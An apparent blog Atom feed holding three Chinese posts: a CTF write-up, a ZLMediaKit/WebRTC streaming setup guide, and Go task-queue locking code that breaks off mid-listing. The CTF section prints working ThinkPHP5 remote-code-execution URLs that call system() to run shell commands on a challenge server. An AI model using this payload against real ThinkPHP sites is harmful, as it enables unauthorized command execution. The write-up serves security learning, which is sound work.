<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>九夏小站</title>
  
  <subtitle>记录所得，分享所获</subtitle>
  <link href="https://blog.inekoxia.com/atom.xml" rel="self"/>
  
  <link href="https://blog.inekoxia.com/"/>
  <updated>2025-11-27T04:02:54.546Z</updated>
  <id>https://blog.inekoxia.com/</id>
  
  <author>
    <name>JiuXia2025</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>CTF Misc Writeup</title>
    <link href="https://blog.inekoxia.com/index.php/archives/714.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/714.html</id>
    <published>2025-10-17T07:29:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<h1 id="攻防世界"><a href="#攻防世界" class="headerlink" title="攻防世界"></a>攻防世界</h1><h2 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h2><h3 id="php-rce"><a href="#php-rce" class="headerlink" title="php_rce"></a>php_rce</h3><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017150353259.png"></p><p>打开是个thinkphp5</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017150404384.png" alt="image-20251017150404384"></p><p>扫一遍发现有RCE漏洞</p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017150422353.png" alt="image-20251017150422353" style="zoom:33%;" /><p>利用RCE取phpinfo</p><p><a href="http://61.147.171.35:56399/index.php?s=index/%5Cthink%5Capp/invokefunction&function=phpinfo&vars%5B0%5D=100">http://61.147.171.35:56399/index.php?s=index/\think\app/invokefunction&amp;function=phpinfo&amp;vars[0]=100</a></p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017150513414.png" alt="image-20251017150513414" style="zoom:33%;" /><p>尝试执行shell</p><p><a href="http://61.147.171.35:56399/index.php?s=index/think%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=uname">http://61.147.171.35:56399/index.php?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=uname</a> -a</p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017150659969.png" alt="image-20251017150659969" style="zoom:33%;" /><p>盲猜flag位置</p><p><a href="http://61.147.171.35:56399/index.php?s=index/think%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=cat">http://61.147.171.35:56399/index.php?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=cat</a> &#x2F;flag</p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017150813745.png" alt="image-20251017150813745" style="zoom:33%;" /><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017150844617.png" alt="image-20251017150844617" style="zoom: 50%;" /><p>flag：flag{thinkphp5_rce}</p><h3 id="robots"><a href="#robots" class="headerlink" title="robots"></a>robots</h3><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017121602575.png" alt="image-20251017121602575"></p><p>Get index发现拿不到flag</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017121709691.png" alt="image-20251017121709691"></p><p>思路：robots，get请求&#x2F;robots.txt</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017121804801.png" alt="image-20251017121804801"></p><p>把disallow拼接，得到flag</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017121856200.png" alt="image-20251017121856200"></p><p>cyberpeace{c4d6c278f7556c64b6e31a3f8951f462}</p><h3 id="baby-web"><a href="#baby-web" class="headerlink" title="baby_web"></a>baby_web</h3><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017122321024.png" alt="image-20251017122321024"></p><p>题目描述为找初始页面，进入网站发现是1.php，尝试index.php，发现302跳转，F12选择 Network 可见index.php，查看可在请求头找到flag。</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017122340468.png" alt="image-20251017122340468"></p><p>flag{very_baby_web}</p><h2 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h2><h3 id="CatCatCat"><a href="#CatCatCat" class="headerlink" title="CatCatCat"></a>CatCatCat</h3><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017165707055.png" alt="image-20251017165707055" style="zoom: 50%;" /><p>得到两个文件</p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017165725533.png" alt="image-20251017165725533" style="zoom: 50%;" /><p>winhex打开猫猫.jpg</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017165941584.png" alt="image-20251017165941584"></p><p>得知passwordis:catflag</p><p>猜测是密钥，结合分析txt的文件名，提到了兔子和91，使用rabbit对密文进行解密</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017170053340.png" alt="image-20251017170053340"></p><p>然后使用Base91解密，得到一堆cat，证明前面的步骤正确</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017170110005.png" alt="image-20251017170110005"></p><p>使用工具<a href="https://www.dcode.fr/ook-language">Ook! Programming Language - Esoteric Code Decoder, Online Translator</a>解密，得到最终密文也就是flag</p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017170213345.png" alt="image-20251017170213345" style="zoom:50%;" /><p>明文：CATCTF{Th1s_V3ry_cute_catcat!!!}</p><p>提交的时候直接提交明文失败，题目说是要使用CatCTF{}包起来，那么最终把Cat换小写的，成功提交</p><p>最终Flag：CatCTF{Th1s_V3ry_cute_catcat!!!}</p><h1 id="NewStarCTF2023"><a href="#NewStarCTF2023" class="headerlink" title="NewStarCTF2023"></a>NewStarCTF2023</h1><h2 id="隐秘的图片"><a href="#隐秘的图片" class="headerlink" title="隐秘的图片"></a>隐秘的图片</h2><p>这题是朋友发给我的</p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017170656398.png" alt="image-20251017170656398" style="zoom:33%;" /><p>解包得到两个二维码但是扫出来没有Flag</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017170755011.png" alt="image-20251017170755011"></p><p>使用 Stegsolve工具开异或分析，先上传key1再上传key2，得出最终二维码</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20251017170900768.png" alt="image-20251017170900768"></p><p>扫XOR的结果得出最终Flag：flag{x0r_1m4ge_w1ll_g0t_fl4ggg_3394e4ecbb53}</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;攻防世界&quot;&gt;&lt;a href=&quot;#攻防世界&quot; class=&quot;headerlink&quot; title=&quot;攻防世界&quot;&gt;&lt;/a&gt;攻防世界&lt;/h1&gt;&lt;h2 id=&quot;Web&quot;&gt;&lt;a href=&quot;#Web&quot; class=&quot;headerlink&quot; title=&quot;Web&quot;&gt;&lt;/a&gt;We</summary>
      
    
    
    
    <category term="随笔" scheme="https://blog.inekoxia.com/categories/%E9%9A%8F%E7%AC%94/"/>
    
    
    <category term="信息安全" scheme="https://blog.inekoxia.com/tags/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
    
  </entry>
  
  <entry>
    <title>通过流媒体服务器实现智能设备图传推拉流</title>
    <link href="https://blog.inekoxia.com/index.php/archives/713.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/713.html</id>
    <published>2025-07-27T04:03:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<h1 id="需求"><a href="#需求" class="headerlink" title="需求"></a>需求</h1><p>最近，我在智能小车数据采集项目中遇到了个问题：嵌入式设备的摄像头只能在设备上查看，这给调试和分析带来了不便。虽然可以将这些摄像头推流到本地服务器，但 <strong>RTMP 流媒体协议</strong> 不利于在移动应用和网页端播放。</p><p>经过一番研究，我决定使用 <strong>ZLMediaKit</strong> 在本地搭建一个流媒体服务器。ZLMediaKit 提供了强大的推拉流和转码功能，可以将 RTMP 流转换为 <strong>WebRTC 协议</strong>，通过服务器转码后更方便将嵌入式设备的摄像头与网页应用和 SDK 进行无缝集成。</p><h1 id="一、使用Docker启动容器"><a href="#一、使用Docker启动容器" class="headerlink" title="一、使用Docker启动容器"></a>一、使用Docker启动容器</h1><p>服务器上安装好Docker后，执行以下命令启动容器</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">docker</span> run <span class="token parameter variable">-id</span> <span class="token parameter variable">-p</span> <span class="token number">1935</span>:1935 <span class="token parameter variable">-p</span> <span class="token number">8080</span>:80 <span class="token parameter variable">-p</span> <span class="token number">8554</span>:554 <span class="token parameter variable">-p</span> <span class="token number">10000</span>:10000 <span class="token parameter variable">-p</span> <span class="token number">10000</span>:10000/udp <span class="token parameter variable">-p</span> <span class="token number">8000</span>:8000/udp <span class="token parameter variable">-p</span> <span class="token number">30000</span>-30500:30000-30500 <span class="token parameter variable">-p</span> <span class="token number">30000</span>-30500:30000-30500/udp <span class="token parameter variable">--name</span> zlmediakit <span class="token parameter variable">--env</span> <span class="token assign-left variable">MODE</span><span class="token operator">=</span>standalone <span class="token parameter variable">-e</span> <span class="token assign-left variable">TZ</span><span class="token operator">=</span><span class="token string">"Asia/Shanghai"</span> zlmediakit/zlmediakit:master<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h1 id="三、验证安装"><a href="#三、验证安装" class="headerlink" title="三、验证安装"></a>三、验证安装</h1><p>使用浏览器访问服务器所在IP:8080，如果内容和下面一样那么就是没问题了</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20250726221939531.webp" alt="image-20250726221939531"></p><h2 id="1-获取密钥"><a href="#1-获取密钥" class="headerlink" title="1.获取密钥"></a>1.获取密钥</h2><p>先进入容器</p><pre class="line-numbers language-none"><code class="language-none">docker exec -it zlmediakit bashcat &#x2F;opt&#x2F;media&#x2F;conf&#x2F;config.ini | grep secret&#x3D;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>secret&#x3D;后面的就是密钥，记下来</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20250727095100636.webp" alt="image-20250727095100636"></p><h2 id="2-打开后台"><a href="#2-打开后台" class="headerlink" title="2.打开后台"></a>2.打开后台</h2><p>浏览器打开<a href="http://192.168.3.55:8080/webassist/?secret=%E6%AD%A4%E5%A4%84%E6%9B%BF%E6%8D%A2%E4%B8%BA%E4%BD%A0%E7%9A%84%E5%AF%86%E9%92%A5">192.168.3.55:8080&#x2F;webassist&#x2F;?secret&#x3D;此处替换为你的密钥</a></p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20250727095622535.webp" alt="image-20250727095622535"></p><p>这里能正常显示数据即代表安装成功</p><h1 id="四、拉流测试"><a href="#四、拉流测试" class="headerlink" title="四、拉流测试"></a>四、拉流测试</h1><h2 id="1-拉流添加"><a href="#1-拉流添加" class="headerlink" title="1.拉流添加"></a>1.拉流添加</h2><p>登录后台，点击上方导航栏的拉流代理选项</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20250727095635810.webp" alt="image-20250727095635810"></p><p>这里输入的是qcloud的rtmpdemo测试链接</p><pre class="line-numbers language-none"><code class="language-none">rtmp:&#x2F;&#x2F;liteavapp.qcloud.com&#x2F;live&#x2F;liteavdemoplayerstreamid<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>输入好地址勾选需要的转码和选项之后，点击右边卡片列表的增加，可以看到视频流已经被添加到了列表里</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20250727095958587.webp" alt="image-20250727095958587"></p><h2 id="2-测试拉流"><a href="#2-测试拉流" class="headerlink" title="2.测试拉流"></a>2.测试拉流</h2><p>点击后台上方导航栏的WebRTC测试</p><p>url输入以下地址，链接的ip换成服务器的ip，其中app和stream参数为拉流添加时的名称</p><pre class="line-numbers language-none"><code class="language-none">http:&#x2F;&#x2F;192.168.3.55:8080&#x2F;index&#x2F;api&#x2F;webrtc?app&#x3D;live&amp;stream&#x3D;test&amp;type&#x3D;play<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>选择画质720p，点击播放，这时候视频流已经成功播放了</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20250727100329459.webp" alt="image-20250727100329459"></p><h1 id="五、推流测试"><a href="#五、推流测试" class="headerlink" title="五、推流测试"></a>五、推流测试</h1><h2 id="1-安装OBS"><a href="#1-安装OBS" class="headerlink" title="1.安装OBS"></a>1.安装OBS</h2><p>电脑安装OBS软件，下载地址：<a href="https://obsproject.com/">https://obsproject.com/</a></p><h2 id="2-使用OBS推流"><a href="#2-使用OBS推流" class="headerlink" title="2.使用OBS推流"></a>2.使用OBS推流</h2><p>点击OBS左上角的文件-设置-直播-服务-自定义</p><p>推流地址设置为</p><pre class="line-numbers language-none"><code class="language-none">rtmp:&#x2F;&#x2F;192.168.3.55:1935&#x2F;live<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>推流码设置为test1，斜杠后面是应用名称，推流码是流的名称</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20250727100840952.webp" alt="image-20250727100840952"></p><p>在OBS的源添加一个显示器采集，点击开始直播测试</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20250727101012426.webp" alt="image-20250727101012426"></p><p>回到后台的WebRTC测试页面，链接把stream替换为刚才设置的推流码</p><pre class="line-numbers language-none"><code class="language-none">http:&#x2F;&#x2F;192.168.3.55:8080&#x2F;index&#x2F;api&#x2F;webrtc?app&#x3D;live&amp;stream&#x3D;test1&amp;type&#x3D;play<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20250727101152693.webp" alt="image-20250727101152693"></p><p>能够正常显示画面即代表推流成功</p><h1 id="六、嵌入式设备接入"><a href="#六、嵌入式设备接入" class="headerlink" title="六、嵌入式设备接入"></a>六、嵌入式设备接入</h1><p>我这里用的是树莓派5开发板，使用rtmp推流接入避障小车的底部避障摄像头</p><h2 id="1-设备环境安装"><a href="#1-设备环境安装" class="headerlink" title="1.设备环境安装"></a>1.设备环境安装</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> update<span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> <span class="token parameter variable">-y</span> <span class="token punctuation">\</span>    gstreamer1.0-plugins-base <span class="token punctuation">\</span>    gstreamer1.0-plugins-good <span class="token punctuation">\</span>    gstreamer1.0-plugins-bad <span class="token punctuation">\</span>    gstreamer1.0-plugins-ugly <span class="token punctuation">\</span>    gstreamer1.0-tools <span class="token punctuation">\</span>    python3-opencv<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>安装gstreamer拓展包</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># Ubuntu/Debian</span><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> <span class="token parameter variable">-y</span> <span class="token punctuation">\</span>    gstreamer1.0-plugins-base <span class="token punctuation">\</span>    gstreamer1.0-plugins-good <span class="token punctuation">\</span>    gstreamer1.0-plugins-bad <span class="token punctuation">\</span>    gstreamer1.0-plugins-ugly <span class="token punctuation">\</span>    gstreamer1.0-libav <span class="token punctuation">\</span>    gstreamer1.0-tools<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="2-使用gst-launcher推流"><a href="#2-使用gst-launcher推流" class="headerlink" title="2.使用gst-launcher推流"></a>2.使用gst-launcher推流</h2><p>gst推流至本地的test2</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">gst<span class="token operator">-</span>launch<span class="token operator">-</span><span class="token number">1.0</span> \  v4l2src device<span class="token operator">=</span><span class="token operator">/</span>dev<span class="token operator">/</span>video0 ! \  image<span class="token operator">/</span>jpeg<span class="token punctuation">,</span>width<span class="token operator">=</span><span class="token number">640</span><span class="token punctuation">,</span>height<span class="token operator">=</span><span class="token number">480</span><span class="token punctuation">,</span>framerate<span class="token operator">=</span><span class="token number">30</span><span class="token operator">/</span><span class="token number">1</span> ! \  jpegdec ! \  videoconvert ! \  x264enc speed<span class="token operator">-</span>preset<span class="token operator">=</span>ultrafast tune<span class="token operator">=</span>zerolatency ! \  flvmux ! \  rtmpsink location<span class="token operator">=</span><span class="token string">'rtmp://192.168.3.55:1935/live/test2'</span> sync<span class="token operator">=</span>false<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>使用webrtc测试播放</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20250727113822163.webp" alt="image-20250727113822163"></p><h2 id="3-嵌入至前端播放器"><a href="#3-嵌入至前端播放器" class="headerlink" title="3.嵌入至前端播放器"></a>3.嵌入至前端播放器</h2><p>使用Vue2构建一个前端项目，创建一个WebRTC播放器，使用在线播放地址</p><p><img src="https://webstatic.9xia.top/usr/uploads/images/image-20250727114243127.webp" alt="image-20250727114243127"></p><p>可以看到智能小车的前置避障摄像头已经正常显示在我们编写的前端上了，通过ZLM视频流转码不仅可以嵌入至前端还能接入安卓&#x2F;IOS的SDK播放，更方便使用了</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;需求&quot;&gt;&lt;a href=&quot;#需求&quot; class=&quot;headerlink&quot; title=&quot;需求&quot;&gt;&lt;/a&gt;需求&lt;/h1&gt;&lt;p&gt;最近，我在智能小车数据采集项目中遇到了个问题：嵌入式设备的摄像头只能在设备上查看，这给调试和分析带来了不便。虽然可以将这些摄像头推流到本地服</summary>
      
    
    
    
    <category term="硬件" scheme="https://blog.inekoxia.com/categories/%E7%A1%AC%E4%BB%B6/"/>
    
    
    <category term="嵌入式" scheme="https://blog.inekoxia.com/tags/%E5%B5%8C%E5%85%A5%E5%BC%8F/"/>
    
    <category term="运维" scheme="https://blog.inekoxia.com/tags/%E8%BF%90%E7%BB%B4/"/>
    
  </entry>
  
  <entry>
    <title>Golang任务队列并发处理问题解决方案</title>
    <link href="https://blog.inekoxia.com/index.php/archives/712.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/712.html</id>
    <published>2025-05-21T13:07:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Golang任务队列并发处理问题解决方案"><a href="#Golang任务队列并发处理问题解决方案" class="headerlink" title="Golang任务队列并发处理问题解决方案"></a>Golang任务队列并发处理问题解决方案</h1><h2 id="问题描述"><a href="#问题描述" class="headerlink" title="问题描述"></a>问题描述</h2><p>在任务处理系统中，发现同一个任务会被多个worker并发处理，导致以下问题：</p><ol><li>同一个任务在不同worker中重复处理</li><li>资源浪费和冲突，尤其是在Docker镜像构建过程中</li><li>并发写入和操作文件系统导致的错误</li></ol><h2 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h2><p>实现完整的任务锁定机制，确保同一时间只有一个worker能处理特定的任务：</p><ol><li><p><strong>任务状态扩展</strong>：添加了新的”processing”状态，表示任务已被锁定但尚未正式开始处理</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// internal/task/types.go</span><span class="token keyword">const</span> <span class="token punctuation">(</span>    TaskStatusPending    TaskStatus <span class="token operator">=</span> <span class="token string">"pending"</span>    TaskStatusProcessing TaskStatus <span class="token operator">=</span> <span class="token string">"processing"</span> <span class="token comment">// 正在被锁定处理中，但还未正式运行</span>    TaskStatusRunning    TaskStatus <span class="token operator">=</span> <span class="token string">"running"</span>    TaskStatusComplete   TaskStatus <span class="token operator">=</span> <span class="token string">"complete"</span>    TaskStatusFailed     TaskStatus <span class="token operator">=</span> <span class="token string">"failed"</span>    TaskStatusCancelled  TaskStatus <span class="token operator">=</span> <span class="token string">"cancelled"</span>    TaskStatusCompleted  TaskStatus <span class="token operator">=</span> <span class="token string">"completed"</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li><li><p><strong>任务锁定接口</strong>：扩展TaskQueue接口，添加TryLock和Unlock方法</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// internal/task/queue.go</span><span class="token keyword">type</span> TaskQueue <span class="token keyword">interface</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// ...</span>    <span class="token function">TryLock</span><span class="token punctuation">(</span>ctx context<span class="token punctuation">.</span>Context<span class="token punctuation">,</span> id <span class="token builtin">string</span><span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token builtin">bool</span><span class="token punctuation">,</span> <span class="token builtin">error</span><span class="token punctuation">)</span>    <span class="token function">Unlock</span><span class="token punctuation">(</span>ctx context<span class="token punctuation">.</span>Context<span class="token punctuation">,</span> id <span class="token builtin">string</span><span class="token punctuation">)</span> <span class="token builtin">error</span>    <span class="token comment">// ...</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// internal/task/queue.go</span><span class="token keyword">func</span> <span class="token punctuation">(</span>q <span class="token operator">*</span>MemoryTaskQueue<span class="token punctuation">)</span> <span class="token function">TryLock</span><span class="token punctuation">(</span>ctx context<span class="token punctuation">.</span>Context<span class="token punctuation">,</span> id <span class="token builtin">string</span><span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token builtin">bool</span><span class="token punctuation">,</span> <span class="token builtin">error</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    q<span class="token punctuation">.</span>mu<span class="token punctuation">.</span><span class="token function">Lock</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">defer</span> q<span class="token punctuation">.</span>mu<span class="token punctuation">.</span><span class="token function">Unlock</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    task<span class="token punctuation">,</span> exists <span class="token operator">:=</span> q<span class="token punctuation">.</span>tasks<span class="token punctuation">[</span>id<span class="token punctuation">]</span>    <span class="token keyword">if</span> <span class="token operator">!</span>exists <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">,</span> ErrTaskNotFound    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span> task<span class="token punctuation">.</span><span class="token function">GetStatus</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token function">string</span><span class="token punctuation">(</span>TaskStatusPending<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token boolean">nil</span>    <span class="token punctuation">&#125;</span>    task<span class="token punctuation">.</span><span class="token function">SetStatus</span><span class="token punctuation">(</span><span class="token function">string</span><span class="token punctuation">(</span>TaskStatusProcessing<span class="token punctuation">)</span><span class="token punctuation">)</span>    q<span class="token punctuation">.</span>tasks<span class="token punctuation">[</span>id<span class="token punctuation">]</span> <span class="token operator">=</span> task    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">,</span> q<span class="token punctuation">.</span><span class="token function">saveTask</span><span class="token punctuation">(</span>task<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token punctuation">(</span>q <span class="token operator">*</span>MemoryTaskQueue<span class="token punctuation">)</span> <span class="token function">Unlock</span><span class="token punctuation">(</span>ctx context<span class="token punctuation">.</span>Context<span class="token punctuation">,</span> id <span class="token builtin">string</span><span class="token punctuation">)</span> <span class="token builtin">error</span> <span class="token punctuation">&#123;</span>    q<span class="token punctuation">.</span>mu<span class="token punctuation">.</span><span class="token function">Lock</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">defer</span> q<span class="token punctuation">.</span>mu<span class="token punctuation">.</span><span class="token function">Unlock</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    task<span class="token punctuation">,</span> exists <span class="token operator">:=</span> q<span class="token punctuation">.</span>tasks<span class="token punctuation">[</span>id<span class="token punctuation">]</span>    <span class="token keyword">if</span> <span class="token operator">!</span>exists <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> ErrTaskNotFound    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span> task<span class="token punctuation">.</span><span class="token function">GetStatus</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token function">string</span><span class="token punctuation">(</span>TaskStatusProcessing<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token boolean">nil</span>    <span class="token punctuation">&#125;</span>    task<span class="token punctuation">.</span><span class="token function">SetStatus</span><span class="token punctuation">(</span><span class="token function">string</span><span class="token punctuation">(</span>TaskStatusPending<span class="token punctuation">)</span><span class="token punctuation">)</span>    q<span class="token punctuation">.</span>tasks<span class="token punctuation">[</span>id<span class="token punctuation">]</span> <span class="token operator">=</span> task    <span class="token keyword">return</span> q<span class="token punctuation">.</span><span class="token function">saveTask</span><span class="token punctuation">(</span>task<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li><li><p><strong>任务查重机制</strong>：在创建任务前检查是否有相同任务正在处理</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// internal/task/queue.go</span><span class="token keyword">func</span> <span class="token punctuation">(</span>q <span class="token operator">*</span>MemoryTaskQueue<span class="token punctuation">)</span> <span class="token function">FindPending</span><span class="token punctuation">(</span>ctx context<span class="token punctuation">.</span>Context<span class="token punctuation">,</span> name<span class="token punctuation">,</span> tag <span class="token builtin">string</span><span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span>Task<span class="token punctuation">,</span> <span class="token builtin">error</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    q<span class="token punctuation">.</span>mu<span class="token punctuation">.</span><span class="token function">RLock</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">defer</span> q<span class="token punctuation">.</span>mu<span class="token punctuation">.</span><span class="token function">RUnlock</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    tasks <span class="token operator">:=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span>Task<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> <span class="token boolean">_</span><span class="token punctuation">,</span> task <span class="token operator">:=</span> <span class="token keyword">range</span> q<span class="token punctuation">.</span>tasks <span class="token punctuation">&#123;</span>        status <span class="token operator">:=</span> task<span class="token punctuation">.</span><span class="token function">GetStatus</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token keyword">if</span> status <span class="token operator">==</span> <span class="token function">string</span><span class="token punctuation">(</span>TaskStatusPending<span class="token punctuation">)</span> <span class="token operator">||</span>            status <span class="token operator">==</span> <span class="token function">string</span><span class="token punctuation">(</span>TaskStatusProcessing<span class="token punctuation">)</span> <span class="token operator">||</span>            status <span class="token operator">==</span> <span class="token function">string</span><span class="token punctuation">(</span>TaskStatusRunning<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token keyword">if</span> task<span class="token punctuation">.</span><span class="token function">GetType</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token function">string</span><span class="token punctuation">(</span>TaskTypeBuildImage<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                <span class="token keyword">if</span> strings<span class="token punctuation">.</span><span class="token function">Contains</span><span class="token punctuation">(</span>task<span class="token punctuation">.</span><span class="token function">GetName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> name<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                    taskTag <span class="token operator">:=</span> task<span class="token punctuation">.</span><span class="token function">GetTag</span><span class="token punctuation">(</span><span class="token punctuation">)</span>                    <span class="token keyword">if</span> taskTag <span class="token operator">==</span> tag <span class="token operator">||</span> taskTag <span class="token operator">==</span> <span class="token string">""</span> <span class="token punctuation">&#123;</span>                        tasks <span class="token operator">=</span> <span class="token function">append</span><span class="token punctuation">(</span>tasks<span class="token punctuation">,</span> task<span class="token punctuation">)</span>                    <span class="token punctuation">&#125;</span>                <span class="token punctuation">&#125;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> tasks<span class="token punctuation">,</span> <span class="token boolean">nil</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// internal/task/processor.go</span><span class="token comment">// 创建任务前查重</span>existingTasks<span class="token punctuation">,</span> err <span class="token operator">:=</span> p<span class="token punctuation">.</span>queue<span class="token punctuation">.</span><span class="token function">FindPending</span><span class="token punctuation">(</span>ctx<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Name<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Tag<span class="token punctuation">)</span><span class="token keyword">if</span> err <span class="token operator">==</span> <span class="token boolean">nil</span> <span class="token operator">&amp;&amp;</span> <span 